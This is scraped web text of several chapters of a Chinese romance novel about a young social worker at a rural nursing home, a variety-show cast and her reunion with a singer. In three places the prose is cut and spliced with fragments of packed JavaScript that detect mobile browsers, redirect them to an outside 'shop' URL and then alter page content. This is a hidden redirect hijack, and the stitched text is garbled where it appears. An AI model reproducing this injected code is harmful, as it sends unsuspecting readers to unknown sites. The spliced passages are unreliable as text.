话语间锁被解开,他既嫌弃又认真答了徐扬帆问的问题,一人走快好几步,拖鞋也不贴脚跟,沿路一串“哒啦哒啦”。 “喂噢盘庆奇!……”还没进卧室,盘庆义操着破锣烟嗓呼叫自己弟弟,用的还是大棠村土话。 他随手将抛向木桌就拐弯进房,留下客人随意。 代澜作为领头人先进,一入门就闻见弥漫的棋牌室烟酒味,由于是阴天,室内显得更潮冷,霉味也堆积,久久不散。 暗自把叮嘱盘庆义要经常开窗通风的事记在心里,条条想得出神,却猝然听见身后传来物体撞上什么的闷声。 ”唔呃……“ 代澜回头看时正好看见徐扬帆捂着头顶无助地往下蹲,紧随其后的高荔正好扶住他摇晃的身子。 “怎么回事?”何子游进门先放箱子,闻声靠近,对发生了什么一无所知。 “等等等等,眼花……”徐扬帆阻止高荔要将他往沙发扶的动作,就着原位直接蹲在门口。 她怎么就忘了这茬? 代澜自责,明明第一眼见徐扬帆还担心过会因为太高而撞上这种老房子的门框,早晨两户都没事,她就掉以轻心了,还是没拦住。 身为带队人要为各种意外负责,她关心道:“有没有肿啊?” “来来来手松一下,我看看……”高荔的指腹轻抚被撞处,同时辅以肉眼左右观察,不出几秒便得出结论,“还好,肿是肯定要肿了,回去拿药油揉开吧,不严重。” “没充血吧?”屋子东西多,余渔被挤在木长椅里面,刚好被摄像师挡住出不来也看不见。 “没。” “果然个子矮有个子矮的好处。”宋汝然毒舌,看没事一屁股就坐下了,为这严肃氛围撒了些调味剂。 “诶你们怎么不坐啊?”盘庆义提着个白色塑料袋出来,看上去沉甸甸的,见何子游过去要帮忙提,他紧着拦住不让人动,“去去,你坐,坐啊。” 徐扬帆也早就站起身,确认没问题后他们悉数落座,这空档里,代澜和盘庆义简单解释了刚才发生的意外以及节目录制的问题。 如果他们不同意,后期会直接剪去或者打马赛克。 盘庆义对录不录制没什么反应,倒是后出来的盘庆奇皱着眉头,听到有人撞头后在门口稍微坐了会儿露出一副嫌弃样:“呀刚刚坐门槛上了?这有忌讳的知不知道?” 盘庆义分发瓜子的手一顿,不耐地朝盘庆奇“啧”一声又飞了记眼刀。 眼见弟弟咽了口唾沫收敛性子,他发完就将袋子一把扎好扔到包了浆的置物架上。 心知肚明盘庆奇这句挑衅,故意将氛围弄得尴尬,代澜身为领头人此刻就该发挥作用。 于是她鼓足勇气缓和气氛,尝试将正题引入:“我们这次来是想补充一份档案……” “哦哦,电话里说的户口本身份证……身份证……”盘庆义斜着身子从屁股后的裤袋掏出一个白塑料袋。 代澜就坐在他旁边,一眼瞧见里头装着零钱和证件。 老头将东西悉数掏出,另一位也从房间里拿了证件出来。 一沓证件经手三人,先递给哥哥,再转交给代澜,最后才落到这次负责抄录的余渔手上。 好在盘庆义比较配合,加上代澜从前学过的技巧早已融会贯通,虽然她还是紧张得不停在外套的遮挡下死抠文件夹,中途也有几度冷场,但在何子游恰到好处的补充提醒下,有来有往竟然沟通得还不错。 直到一行人告别两兄弟,老屋被重新锁上,那摩托车引擎声又奔着棋牌室去,代澜才发觉自己的心跳是那样的快,好似方才的应答是另一人所作。 “没想到你俩还挺有默契的。” 本以为这句是余渔所说,可代澜回头才迟钝发觉这声感慨竟然来自高荔。 风将女人的八字刘海吹开些许,下颚线流畅完美,她的眼笑不见底,好似只需对视片刻就能看透心底的秘密。 是来自年长者阅历的压迫感。 亦或是代澜太过避讳两人前尘和现下关系的过度敏感。 她还了个笑容,刚要伪装再解释,却听对话里的另一人先行回应:“这么说来我确实很有当社工的天赋咯?” 将默契归于职业素养,巧妙的回答。 “哪天写不出歌就去当社工算了。”何子游语气拖长,像是极为懒散,随口玩笑。 “哟,和自由哥哥——”宋汝然掐着嗓子说话,熟人Line又开始酸味攻击,“你还有写不出歌的那天啊?那肯定是百年之后了。” 代澜在前面带头走,边看下一户的位置,边分神听了他们调侃,正憋笑,身边忽然来人,她敏感察觉早早抬头,却见是徐扬帆一脸歉意。 “小澜,我刚刚坐了人家门槛,盘庆奇那样说,会不会让他记恨我,或者连带咱们工作也反感啊?” 他俩算是队伍里身高差最大,徐扬帆头弯得很低,既是抱歉,也不好意思让其他人听见他这时候还在纠结这事。 代澜站在客观立场思索了一会儿,毕竟如果村民有方案,下次下乡也会显露出来,没法瞒,所以她认真将自己所了解的两兄弟情况预测。 “我觉得不会。” “其实你也看到了,盘庆义才是家里管事的那个,盘庆奇……据我所了解,他性格很古板传统,但是主心骨还是哥哥,所以再怎么讨厌也不会怎么做的。” “而且你最后不是也道歉了吗?” 这话不假,临走时,徐扬帆重新为坐到门槛上,向两兄弟道歉。 盘庆义直接就说“没事”,盘庆奇则还是想说什么又被哥哥摁回去。 总之,法术伤害暂时没见着,徐扬帆受到的物理伤害倒是实打实的。 就是徐扬帆平常看着不拘小节,没想到也是位心思细腻的人…… 代澜心里默默又改观。 他们继续往下访问,庆幸的是,下午走的七家都没有什么特殊情况。 平凡地访问、记录、拍照,年关将至还为大家检查房屋消防,被填满的是表格档案还有被关怀的心,而物资箱愈加轻盈,所有需求也都一一落实。 从最后一户走出门,一场酣畅淋漓的大雨刚刚结束。 傍晚六点半多。 空气好清爽。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12834372|132767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 顾不得乳液才涂了大半张脸,她赶紧绕过代澜这边,将人重新摁回床上。 短短几分钟又是打电话联系节目组,又是打给吴楠涛,还兼顾从自带的医药箱翻出体温计塞进代澜腋下,最后还不忘把另外半张脸涂好乳液。 纵使代澜烧得发懵也在心里感慨宋汝然的执行力强到不可思议。 十五分钟后,有工作人员过来,刚好看温度。 “39.3℃。”宋汝然无奈地叹气,顺便轻声提醒正好奇温度的当事人。 “好好休息吧,那边都知道了。” “那工作……” “诶呦,你就放一百个心吧!下乡都下完了,剩下的不就是存档分相册,还有什么……” 且看她眼珠子滴溜溜地转,先前看宋汝然还百分百靠谱,此刻又有些动摇,代澜想提醒,一句话一个字才刚说出口就伴随剧烈咳嗽:“周呃咳咳咳咳……” “对对,周报,你也别急啊,”一杯热水递来,代澜慢慢被搀起身,喝过后嗓子痒痒才得到缓解,“总之你就好好休息吧。” 之后又是余渔和高荔来探望。 在高荔叮嘱后余渔将难过都拆成数句碎碎念,将她肩上留的冷风空隙都依次填满,最后才和工作人员转身离开。 周围终于清净了。 在退烧药的加持下,代澜晕晕乎乎顺利被卷进梦境的洪流。 …… 再醒来已是下午。 这一觉睡得比昨夜舒服多了,虽然不知几点时烧得有一阵尤其难受,浑身也出了不少汗,此刻有些黏腻,可至少无梦就无惆怅。 独属冬日的,略微干燥的风蹭过窗帘,带起它的裙摆。 在过度神伤后,她眼中所有都只能析为简单词语,悬浮在空荡而滚烫的脑海中。 代澜侧头往窗外望,外面是个好天气,阳光斜射入房,落在宋汝然凌乱床铺上,而她相拥入睡的那只大尾巴笨狗正在床沿探头探脑。 她多么想时光停留在这一刻,暂且告别所有烦恼,小口汲取单纯的快乐。 ……所以如果不是鼻塞依旧,清涕就要淌出,代澜是万万不愿改变此刻姿势的。 可当她终于想起身擤个痛快,一动才发现全身似被毒打过,酸痛得很。 又急急撤回被窝…… 于是代澜不得不将起身勉强改为侧身,别扭地伸手够到床头的纸巾盒,胡乱抽出几张结束鼻子的烦恼。 手机震动。 昨夜的阴影冷不丁敲在她滚烫的脑袋上。 如墨盒被打翻沉入一缸清水。 浊起,她竭力隐藏的混沌又蠢蠢欲动。 下意识伸向手机的手退却,僵持在半空中,连呼吸都半刻停滞。 是这半天给的松弛让自己忘了发烧的来由。 震动。 上一次如此害怕收到信息,除去昨夜,还是大学毕业时的那件事。 再震动。 忽而又有鸟鸣,将清晨思绪勾起一角—— 对……她怎么能忘记,昨夜梦中才刚刚寻得对改变恐惧的真相。 未知的一切,无法把握住的命运正是自己所惧怕的。 代澜的手最终落在解锁键上。 那簇火焰悄然觉醒,将那份黑暗点点吞噬。 这条她停滞沉沦了太久的路,随着一条细线的崩坏而掀起蝴蝶效应,未来再度改变。 代澜看不见的命运齿轮旋转,她的眼只倒映手机揭晓答案瞬间的释然,有什么在长久飘散中安稳落地。 “退烧了吗?” “荔姐在食堂给你煲了粥,涛哥下午去了公司,有人不小心弄乱了相册。” “很需要你。” 26. 帝释青 “小澜你怎么下来了?”还是宋汝然先发现代澜出现在办公室门口。 几个人围堵着最里面工位的电脑,除去发现之人的诧异神色,其他人的脸上无一不是困惑,直至闻言抬眼,才渐变成惊喜。 “退烧了吗?怎么不多穿件厚点的外套?”高荔关切。 代澜耸耸肩,双手揣在外套加棉的口袋里,早晨咳嗽得太狠,此刻张嘴喉咙都是哑的,口罩也挡不住憔悴:“37.9℃。” 饶是自己做好了声音沙哑的心理准备,可话说出口的瞬间还是有些始料未及,瞬间些许惊愕,不过很快适应。 高荔贴心,用代澜工位上的杯子斟了些热水递给她。 轻抿一口,感染空气干燥因子的嗓得到半分缓解,代澜朝人微笑算是道谢,腰靠着谁工位的挡板,维持晕眩平衡,才衔接未完的下句。 “在屋子里闷得慌,被褥压了一身汗,现在这样舒服些……” 又饮一口,她借着举杯的机会让目光匆匆扫过办公室全部工位。 小小的办公室从进门就一览无余,她不信邪才又偷偷再找。 何子游也没说自己去哪里,怎么让人过来,自己却不在…… 手机上聊天框的最后一条信息是自己应约,此后也不见回答。 她的心有些不安定,不过转瞬开解,为这莫名在意的念头缠绕神隐的人而感到荒谬。 自己又在胡思乱想什么…… 这片段好似这是个小插曲,拨清思绪,而后视线才游移到那台背对自己的电脑。 徐扬帆正是现下操控者,银细方框眼镜搭在高挺鼻梁,且不看性格如何,往日正气之姿被削弱,倒有几分纯良无害的学生气质。 此刻野生眉蹙起,听闻代澜到来也只是眼神打了个招呼便重新浸在电脑操作里,任谁看了都像精通各种设备技术的精英。 键盘鼠标滴滴答答,如果不是她示意让几人散开,自己走到屏幕前查看,说不定徐扬帆电脑白痴的身份还能再藏久点。 “完了完了!为什么会这样啊……你搞什么东西?” 只见电脑屏幕上的表格瞬间成了一团乱码,站在徐扬帆左后方的余渔刚说完这句,就和宋汝然同时倒吸一口凉气。 罪魁祸首狡辩想理直气壮,可偏偏话说出口半句就漏了气:“我还不是为了帮你……” 顺走一张余渔工位上的抽纸,代澜最后擤次鼻涕,纸团被抛入垃圾桶她才小声道:“让我来吧。” 一号选手徐扬帆遗憾离场,二号选手代澜带着擤不完的鼻涕入场。 刚坐下,两颗毛茸茸的头便左右凑过来。 代澜虽然也不是电脑高手,但用起这些软件还是绰绰有余。 她三两下从后台翻出“消失”的文件夹,还好里面的照片没有被送进回收站永久清除。 再将整个文档重新排序整理,回到初始状态。 一整套下来操作了二十几分钟,结束后代澜伸了个大懒腰撑开僵持的脖颈,骨头咔哧咔哧响,混杂着未退烧的酸痛:“搞好了。” “牛牛牛……”宋汝然狂比大拇指,“果然还是要小澜出马。” “我刚刚记了记,是不是先摁这个,再弄这个?”余渔不知何时拿出了笔记本,将记录下的顺序递给代澜看。 代澜瞄了一眼:“这个……是这样的。” “你太厉害了,”余渔啧啧称赞,“我都不知道多少年没碰过这些文档和工作表了……” 女孩斜坐在椅子扶手上,聊起这个神色还有些恍然,也许是回想起过去。 “我不过是比你们多在这里待了些时间。” 代澜如此宽慰,忙起身将座位还给主人。 “刚来的时候我也闹过不少乌龙,你们刚刚丢的文件夹,那条找回来的路径还是当时我弄错了才知道的呢。” “错几次,下次大概就记得了。” “你们现在也知道了,没什么两样。” 头还有些晕,她拢了拢外套,办公室里阴凉,不比外头有阳光温热,一丝冰凉此刻扫过鼻尖,惹得喷嚏又来,脑袋嗡嗡。 徐扬帆的座位就在余渔的前面,这会儿倒坐在椅子上,双手叠椅背,随着话语,头一晃一晃,随意自在:“听见没,我下次就能搞定了。” 闻言余渔同宋汝然两人对视,皆是一脸不相信,一时间办公室里又欢声笑语。 “小澜,粥我给你热好了,来吃吧。” 适时的邀约插入几个人代澜回头,原是高荔在办公室那扇玻璃窗外探头,大波浪依着地心引力轻晃,发丝染上日光金色,温婉得不像话。 “好,我来了。” - 食堂静悄悄。 前些日子回南天,在这里行走还要尤其小心,如今铺上了防滑垫,天却晴了。 代澜舀了小半碗粥,靠墙入座。 “他们今天中午都吃的粥,”高荔收拾完厨房没走,边说着向她走近,“师傅们一开始还怕我做大份量煲不好……” 先前的大波浪被盘起,一根木簪便足够锁住飘逸长发。 女人眸中泛出粼粼笑意,落座她对面:“怎么样?还不错吧?” 代澜尝过好几口,吞咽后也夸:“是好吃。” 瑶柱瘦肉粥清淡,一点盐将瑶柱的清甜勾出,剁碎的瘦肉均匀分布在粥里,一口下去抚平她空虚躁动的胃。 她们对坐在食堂里,大门敞开,让清新空气流淌到各处,卷走潮湿。 以及,带走沉默。 “小澜,有件事我一直想问你。” 捏住汤匙的手一顿,粥里还冒着热气,代澜维持着低头的姿势隔着一层淡纱抬眸望,女人眉眼间静谧潭水依旧。 其实和高荔认识的第一天起,代澜便发觉她身上有太多自己看不透的地方。 看不透大她好几年的阅历,行走名利场却片叶不沾身的资本。 看不透既能待人温柔,又能在生活方方面面感受到内心果敢和灵魂坚实的悖论。 宋汝然和余渔的直白,让代澜能将自己小心地安放在她们身边,但对于高荔,她还是保留观望态度,也因此相处起来也更客气。 “没关系,你问吧。” 她也想知道自己究竟能了解这位隐藏城府的女人多少,而她又愿意展现多少。 “应该早就认识了吧?”坐在对面的女人撑着半边脸,饶有兴趣设下悬念,“你和何子游。” 代澜以为自己掩饰得极好,就像这勺粥,瑶柱藏在白粥之下,只有吃的人才能发现含义,却忘了瑶柱终归是瑶柱,不是白粥。 “嗯,我们很久之前就认识了。” 即使被拆穿,她仍固执地咽下这口粥,在混乱中分神意外的躯体反应这次并未突袭。 想来,这还是第一次用“我们”来形容自己和何子游。 她再勺一口,轻吹咽下,温度适宜。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12837596|132767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“好,那就没什么了。” 没什么了? 这反而让代澜诧异,不过面上不显,只是懵然瞅着对面女人。 她慵懒撤回撑脸的手,再缓缓靠向椅背,笑意依旧,潭水中央似泉涌,但代澜看不真切。 她流露在脸上的困惑太明显,高荔耐心解答:“我只是想问一下而已,没想到是真的。” 这句话从微笑唇里道出时又好似变回了平常善解人意的姐姐,仿佛这问题不过是一件随手拈来的小事,即便是阐述也多含俏皮。 瞬间转换让人猝不及防,甚至多了对反转的不真实感,不小心便回深陷其中。 “你是怎么知道的?” 代澜难忘从朦胧中直视她的眼是如此锐利,让人明明是防御心态都会演变为对不坦诚的懊恼。 她是自愿的,自愿喝下姐姐的迷魂汤,所有话都不再掩饰。 不过在此之后,是不是自己也要做好该有一天会将过去揭露的准备呢? “嗯……” 代澜的目光就没从对面人的脸上转移过。 美人挑眉也有韵味。 “嗯……秘密。” 她最擅长卖关子,神秘之后忽而又俏皮。 “放心,我嘴巴很紧。” - 日出,日落,一日便已过。 晚间洗漱前,代澜再测过体温,烧慢慢退了,可鼻涕还在。 宋汝然跑去仓库拿了足足五包卷纸,两只手拿不过,直接放怀里兜满才回来,一进门就嚷着求表扬。 结果被隔壁余渔听见,跑过来念着宿舍也用完纸了,和宋汝然石头剪刀布,硬是顺走了两桶。 好心拿来的东西给了他人作嫁衣,气得女人趴在床上狂锤大尾巴狗娃娃。 不过是佯怒罢了。 代澜时常觉得身边有了他们作伴,往日清冷沉闷的敬老院也多了些生命力。 她裹紧棉衣,走到走廊上呼吸新鲜空气。 下午少穿衣算给了自己教训,清涕流得更猛,现在完全不敢冒险了。 手机振动,她开启屏幕。 原来是无关紧要的广告弹窗,正想熄屏,忽地余光一凛瞥见那消息框。 给苏恩怡的回复仍悬在置顶,不见再有回复。 露在外面的是她说的一句。 “我不在乎了。” 代澜目光紧锁在这五个字上。 沉默半晌,她微叹,指尖下意识往下滑,却在何子游的聊天框出现时,视线再无转移。 他到底去哪里了? 避着奇怪的嫌,她没敢问其他人,也不愿在窗口里问本人。 自己也不知道自己在矫情个什么劲……明明昨夜才…… 神思被月出偷走了。 银盘高悬,方才还浓厚的云层此刻为它让位,成就神秘王座。 难得见这么光亮的月亮…… 掀开帷幕后的月洒下银华,镀在她冰冷的肌肤上更显苍白。 情不自禁就想记录下这一刻,她举起手机,可偏偏镜头里的风景永远比不过肉眼所视。 代澜倒是惋惜,连拍几张后还是不满意,顿时有些扫兴,落手时莫名听见一声同样是相机的抓拍声,立即汗毛都竖起,警惕地四周张望。 “嘿,是我。” 是男声朗朗,未尽的恣意自山外而来。 她匆匆俯视,在不知情的时刻,眸里有萤火的光。 27. 帝释青 攀着栏杆的手不自觉收紧。 消失了一整天的男人往楼体再走近几步,恰好踏进月光。 所视之景静谧,代澜的心跟着悬浮安定。 何子游举起手机朝代澜随意晃晃。 她吸鼻涕,不明所以,懵懵地朝男人同样摆摆手。 男人笑容倏然被月光点亮,连原本冷硬的风都依他柔和,鼻梁上痣灼了银色勾人,那只一直插兜的手抽出,点了点手机屏。 代澜才明白原来是让她看手机。 眼神一瞬慌乱,飞快错开后抿着唇,连脸颊都发烫,最后才落在屏幕上。 刚点进微信就见他的聊天框从后排蹦到前头。 “听说下午干得不错。”如今看见他的话,耳边也能听见他的从容笑意。 “还好吧。” 她简短回应,克制自己的情绪不过多在文字显露,降下若有似无的幕布,双手捧着手机,指尖在键盘上轻敲几下,几秒犹豫后又依次删除。 分神再往下望一眼,男人一袭立领大衣挡风,黑发顺毛,在夜里沉着,单手托着手机,指节骨感修长,正飞快打字。 她的消息框上他的备注依旧,没有那句“正在输入中”。 要问他去哪里了?算了,还是别问了…… 心头乱糟糟,可恶的好奇心蠢蠢欲动。 明明只是简单的问题,可对她而言却莫名难以启齿,仿佛只要开口,一直以来谨慎保持的防御便被打破。 犹豫间身后忽然传来木门开合声,代澜不过落下几秒未从神游中抽身,某人手臂便横上她后脖颈,亲昵地凑近。 “在这儿干嘛呢?这么冷,不回去躺着。” 那阵桃花香若隐若现,甜味在空气中冒泡,代澜就该知道来人是余渔。 只是还来不及应答,女孩便跟着她先前视线迫不及待往楼下望:“看什么呢看什么呢?” “哎,你……”瞬间慌张,代澜生怕被人发现楼下是何子游,伸手就要拉开对方,但目光显然比她粗糙的反应力更快。 心在飞速失控。 “也没人啊。” 她承认自己有些自乱阵脚。 跟着往下再看,大院空空荡荡,半个人影也没有,只有月色依然,代澜才彻底松口气:“你干嘛呢……” 女孩眨巴眨巴眼:“出来丢垃圾啊,倒是你,在这里干嘛?” “难不成……”余渔总用最单纯无害的表情问出最不着边的话,“夜会情郎?” “才没有!”代澜只觉得脸颊又隐隐发烫,着实不能让面前人久留,小心更多心思走漏,她作势就要将人推回房。 然而对方比她还有劲儿,硬抓着栏杆不放,挑开话题似的:“诶,等会儿等会儿,今晚月亮有点好看诶!” 见代澜一脸不信任,余渔伸手将人双肩往后转,兴奋道:“你看你看,是吧,这还是来节目以后第一次看见这么好看的月亮呢……” “哦,不过来了也没几天就是了。”乍然想起录制不过几天,方才感慨倒算用词不当了,女孩发觉,不好意思地笑。 已然赏过月,代澜又怎不知有多好看? 不过比起余渔当下举着手机拍照,画面专注月亮,与她相册里存着的确实有所出入…… …… 从余渔和高荔的宿舍回到自己床上,代澜嘴角还残存笑意。 姐姐妹妹聊得欢脱,连带着自己都笑不拢嘴——虽然这份这份笑意依旧难冲破心中那道界限。 她将枕巾从后阳台收回,昨天哭了太久,泪将枕头浸湿,索性将床上用具都清洗。 也顺带将过去的恐惧都暴露在阳光之下,以滚烫的朝气讨伐淤实已久的什么东西。 手上忙碌,被撇到一边的手机忽然振动。 “今天下午请了半天假,去重新修改演唱会的服装。” 代澜微怔,这份好奇心原本被抛在脑后,以为没有再提起之日,可没想到当事人却主动聊起。 ……太猝不及防了些。 思绪搅成浆糊,她盯着坦诚发呆。 良久,代澜指尖敲击键盘,半逃避似的留下这样一句:“刚刚你在拍月亮?” 单单一句,同样是私人问题,既重新开了话头,又躲了自己隐蔽的、其实早该自己开口的好奇。 发完这句,她又缩回被窝,似乎只有这团小小的包裹才是本体,然后抱着手机等待回应。 记起来还要为好友的歌作词,她向外打破笼罩,戴好耳机再听那首《指尖恋人》。 说来奇怪,虽说自己从来没追过星,也没有什么特别喜欢过的人,可反复听这首曲子,独属暗恋的,或是深爱过的情感便似与生俱来徜徉在血液里。 摇曳起特殊的共鸣。 他的信息恰到好处落入音乐的旋涡:“不是,我在拍云。” 云? 意想不到的答案。 其他人抬头只会看月亮,或者星星,她便想当然。 “为什么?” 这样问了,钢琴声与哼鸣转折在离殇里。 “因为是云成全了月亮。” 代澜眸光有涟漪,转眼坠入沉思。 何子游再传一句:“那你呢?在看什么?” 有时候代澜总觉得自己是时光的小偷,相机是唯一能穿透时间界限捕捉到转瞬即逝暇思的趁手武器,而好巧好巧的是她遇上了对手。 她以为的秘密,原来另有神偷。 照片被点点发送,平铺于眼前的是—— 那翻涌着的云。 - 得益于云,她似有灵感,歌词翩翩落在每行,不曾想母亲谈雪梅的信息忽然而至:“澜澜,下下个礼拜就过年了,你们综艺怎么安排?能回家吗?” 打字的手停顿,灵感突然被截停,她有些无可奈何:“不拍,回去。” “要不然问一下子游一起回来?他应该也要回家的吧?”父亲代敬冒出来一句。 代澜看见代敬发言总有无名火,纵使平日再麻木,此刻也撩着心烦躁。 是风暴后的余波,是战后的后遗症,伤口至今有脓,在蠢蠢欲动。 他怎么也不想想何子游是什么人?难道也不考虑一下为女儿避嫌吗?不过是一起参加个综艺,还真把自己当一回事了…… “不要去问!我和他不熟!” 似乎在父母面前自己经常用感叹号。 可如果不是感叹号,他们就会忽视自己的需求和想法,自顾自去做,好几次都让代澜觉得丢脸又晦气,到头来收拾烂摊子的人还是自己,而父母只会互相责怪,什么忙都帮不上。 她必须说清楚,以免又出现他们去找何子游拜托他照顾自己的事情。 “人家挺好说话的啊,再说了,出门在外,老乡帮老乡挺正常的,你那些叔叔阿姨不也是这样和我互相帮助的吗?” 代敬似乎也有些急眼,他惯用自己那代人的相处方式,从不顾及现在如何,而被管的人又是何态度。 “……” 简单的,还算畅快的心情一点点腐烂。 从前她也会耐心解答,可现在她做不到了,只有无穷尽的无力感愈发参透空洞的心。 代澜不愿说话,惯用沉闷躲避,心情急转直下,抛下一句省略号便把手机塞到枕头底下。 睡前又有些烧,吞下退烧药和抗抑郁药的她仓皇躲进梦里。 - 周五余渔还说不相信周六院里的人流量会突增呢,这不,周六的大爷大妈们来了。 因为敬老院周末全天对外开放,老人们从早上七八点就陆续来到院里,做运动看电视唱戏按摩理疗…… 此刻院里可谓是歌声、唱戏声、唠嗑声热热闹闹不绝于耳。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12884955|132767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我们没来的话,就你俩帮忙,岂不是团团转?” 徐扬帆昨天刚学了怎么操控理疗仪,此刻为老太太闺蜜团们调试好才得空休息,累得这人脸贴在门框上,整个身子揽着墙,可怜巴巴。 几朵夕阳姐妹花一进门就看中了这位帅哥,指名要他来为闺蜜们服务,又是陪聊又是按摩,徐扬帆综艺前特意学的那点功夫都用上了。 余渔闻言走到走廊窗户侧,她和代澜刚整理好上午老人们翻阅过的报纸和杂志,两手袖子被撩起,叉着腰吐槽。 “这工作量也太大了,就没考虑过多招几个人吗?” “考虑过呀……”代澜将最后一把木椅塞进桌子,拍拍手上的尘向两人方向走。 唯独话里转折难言。 下意识瞥一眼架在室内的摄像头,又见两人期待着后续,她只能委婉,眼神也躲避,假装检查地上有无垃圾。 “可能暮镇太偏了吧,很难招人的,如果在县城里招,大部分人对社工这行不了解前景,也不清楚社工理论,所以招起来……” 配合着话语落地,她无奈耸肩,徐扬帆和余渔对视一眼也算理解。 “那你呢?”女孩好奇,她长得乖顺,提问总是真诚,往往代澜想搪塞,对上她视线,那份欺瞒便连连颓败。 “我?我为什么来这里吗?”躲无可躲,代澜此刻已走至两人身边。 不过在看不见的地方,她绷紧肌肤,有不堪的回忆蹿上脖颈,锁住那份应有的自在。 “对啊,这么偏的地方你都来了,还挺神奇的,你也不是暮镇的人。” 思考自己和暮镇的缘分,呵…… 也确实算天注定吧。 本身社会工作专业出身,大学毕业时自然要提供实习证明以及实习时长。 原本一切都在父母安排下进入兰市一家社工机构工作,可没想到那件事来得太突然,人力终被财力压过…… 想到这时,代澜嗤笑,为自己曾经的执拗叹不值,而后是无法宣泄的痛,撞在麻木心墙上。 千言万语,总之最后不得已,在时间的临界点,她只能在网上随手投简历,再被“百善”捡走,安排到暮镇实习。 她删删减减,留下可大笔涂抹的版本递给期待的人。 “原来是这样啊……”女孩默默点头,一绺额发随着动作没被耳朵挽留,荡在脸颊边,为原先几分幼态的脸添了一丝温婉,“可是你现在已经毕业了呀,为什么还要回来这里呢?” “可别这么老套哦,说什么是因为放不下这里的山水,想念这里的人,”一手撑着另一手的手肘,余渔握拳摆出采访的姿态,自信满满,“告诉我你最真诚的答案吧!” 最真诚的答案…… 代澜有些不知所措,眨眼数下企图在短距离里建立伪装,却渐渐不敌女孩单纯试探:“嗯……是因为……” 明明她只需要随口搪塞,被问到的人提气几次,跑到喉头的话就又咽下几次。 难以启齿。 她难启齿自己可悲的自尊心,被践踏的劣等秘密,代澜不知为何,越是被单纯地拷问,她便越是难撒谎,仿佛会罪加一等。 哪怕提问的人别用这双眼看向她呢? 尽可能拖延时间,为找借口做充足准备,然而有人比她更快。 “喂,那边。” 男人悄无声息出现在楼梯拐角处,大半个身子晃出来,蓝白色卫衣休闲,搭浅蓝牛仔裤宽松,一手插兜,另一手仍扶着墙角。 他的人和声音一样随意,再接着挑了个眉,多少流露出痞态。 代澜要以为何子游只是不经意地出现,恰巧地来。 可再随意地说后半句时,眼神飘到她视线里,同背对的光一个方向。 于是她确定了他的出现并非巧合。 “下个礼拜的物资到了,快过来分一下。” 28. 帝释青 余渔和徐扬帆的脚步声被那扇吱呀作响的铁门骤然截停。 将一小沓报纸挽在手臂上,代澜脚步停留在电梯门前。 刚才和余渔从报刊架清下来一大堆大前年的报纸,由于保存不善,它们所以不是卷边折页就是泛黄积灰。 代澜想着快过年了,加上过几天大扫除兴许还能废物利用,就把它们都翻下来,准备放到办公室的篓里备用。 本来该是余渔和她把东西抱回办公室的,只是何子游的不期而至打乱了计划。 如今大半叠纸都被男人揽去,她手头上小半沓还是自己强留的,余渔比她无心理负担,听何子游要帮忙,就大胆都交给他,和徐扬帆比赛谁先到物资那边去。 四条长腿一迈,代澜喊的“小心拐弯有人”连半句没说出来,两人一闪没影。 他们要到一楼,赶时间走的是安全通道,代澜和何子游则是到四楼的办公室,搭的是电梯。 于是两人就这么凝固在电梯口。 时间溜得没声息,跳转的只有上上下下的箭头标,可电梯层数在二楼久久不见动静。 才过两点,老人们一般会在一二楼活动一会儿才有闲心上来参加下一轮理疗和阅读,因此走廊里空空。 冬日的阳光斜照进窗,代澜不忍沉默,抿嘴犹豫几秒,想为这份空白添上些什么:“你有空出来……是陈姨来接手了吗?” 前几天节目组第一次开会时,敬老院的开放时间表就传到了每个人手机上。 周一不开放,院内自由活动。 周二至周五有更适合老年人体质的兴趣班,比如交谊舞班,鼓班等,兴趣班由志愿者组织参与,管理权属敬老院。 周六周日则是全天候自由活动,志愿队协助管理,偶尔会组织一些兴趣班和特别活动在下午开展。 而今天是周六,下午两点到四点半,当值的志愿队队长是陈岁岁,陈姨。 好似得到了赦免,何子游这才往她身边再走近半步,连话末都显现笑意:“对啊,一有空就来找你们了。” 电梯门开,两人踏入。 心知肚明有摄像头,偏偏她要说的话不能在底下张扬,于是再拖延几分钟沉默后,终于在走廊拐角止步,得空将话语倾泻。 “你刚刚该不会是掐着点说话的吧?”代澜也不再藏着掖着。 她想过了,虽然还没走到将毁约坦白的时机,但既然何子游早看穿自己,那她也不该再继续全副武装,放松些,也是放过自己。 抱着旧报纸的何子游身上也染了印刷墨味,似乎没预料到一向纠结的她会单刀直入,代澜侧头时恰好捕捉到他没藏住的讶异:“居然被你看到了?” 随后惊讶融化成坦然:“刚上去恰好听见余渔问你,担心我突然过来打扰你思路,就在拐角等了一会儿……” 他停顿半秒,抱着报纸的手貌似有些硌,轻微调整着:“不过你好像还没想好要不要把私事告诉他们——” 何子游的话语留出转折,递给她征询意味的点头:“所以我出来了,应该……不是打断了你吧?” 